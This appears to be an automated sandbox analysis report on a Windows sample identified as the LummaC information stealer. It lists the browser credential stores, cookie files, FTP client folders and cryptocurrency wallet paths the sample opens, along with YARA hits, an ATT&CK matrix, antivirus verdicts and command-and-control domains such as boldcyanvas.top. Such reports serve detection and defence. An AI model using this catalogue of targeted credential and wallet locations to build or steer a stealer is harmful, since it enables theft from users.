Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Directory queried: C:\Users\user\Documents\GNLQNHOLWB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Directory queried: C:\Users\user\Documents\GNLQNHOLWB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1424640914.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1407562983.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1407301730.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1407398973.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe PID: 2120, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe PID: 2120, type: MEMORYSTR
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe.5b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1473732640.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	44 Virtualization/Sandbox Evasion	2 OS Credential Dumping	851 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	44 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	62%	Virustotal		Browse
SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	65%	ReversingLabs	Win32.Trojan.LummaC
SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	100%	Avira	TR/Crypt.TPM.Gen

Source	Detection	Scanner	Label
https://BoldCyanvas.top:443/api	0%	Avira URL Cloud	safe
https://BoldCyanvas.top/e	0%	Avira URL Cloud	safe
https://BoldCyanvas.top/	0%	Avira URL Cloud	safe
https://boldcyanvas.top/apip	0%	Avira URL Cloud	safe
BoldCyanvas.top	0%	Avira URL Cloud	safe
https://boldcyanvas.top/api42	0%	Avira URL Cloud	safe
https://boldcyanvas.top/api	0%	Avira URL Cloud	safe
https://boldcyanvas.top/apix	0%	Avira URL Cloud	safe
https://BoldCyanvas.top/d	0%	Avira URL Cloud	safe
https://BoldCyanvas.top/pi	0%	Avira URL Cloud	safe
https://BoldCyanvas.top/dow	0%	Avira URL Cloud	safe
https://boldcyanvas.top/h	0%	Avira URL Cloud	safe
https://BoldCyanvas.top/pi(	0%	Avira URL Cloud	safe
shiningrstars.help	100%	Avira URL Cloud	malware
https://BoldCyanvas.top/ms	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
boldcyanvas.top	104.21.33.245	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
blast-hubs.com	false		high
https://boldcyanvas.top/api	true	Avira URL Cloud: safe	unknown
nestlecompany.pro	false		high
BoldCyanvas.top	true	Avira URL Cloud: safe	unknown
stormlegue.com	false		high
mercharena.biz	false		high
shiningrstars.help	true	Avira URL Cloud: malware	unknown
blastikcn.com	false		high
generalmills.pro	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://boldcyanvas.top/apix	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472480629.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474766442.0000000000E54000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1401985992.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	false		high
https://BoldCyanvas.top/	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1401985992.00000000053C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472480629.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1407328159.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1373690695.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1344480473.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1442822051.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472536408.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1346393166.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474766442.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1344480473.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1424522219.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1357895106.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1401985992.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387982421.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://BoldCyanvas.top/api	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1442699683.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474743950.0000000000E45000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1373891441.0000000000E5D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387237453.00000000053C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1373891441.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1402278337.00000000053C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1358097927.0000000000DDB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387575495.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1411245914.00000000053C5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472738762.0000000000E45000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1345748850.0000000000DDB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1388932833.00000000053D2000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1402036666.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1344480473.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1357895106.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387982421.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://BoldCyanvas.top/e	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1373891441.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1388184494.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387725348.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://boldcyanvas.top/apip	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1407562983.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1346393166.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	false		high
https://BoldCyanvas.top:443/api	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1442699683.0000000000E54000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1389029658.00000000054E3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://BoldCyanvas.top/d	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1427793171.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1424472285.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1346393166.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://boldcyanvas.top/api42	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1375197165.0000000000E6C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1373891441.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
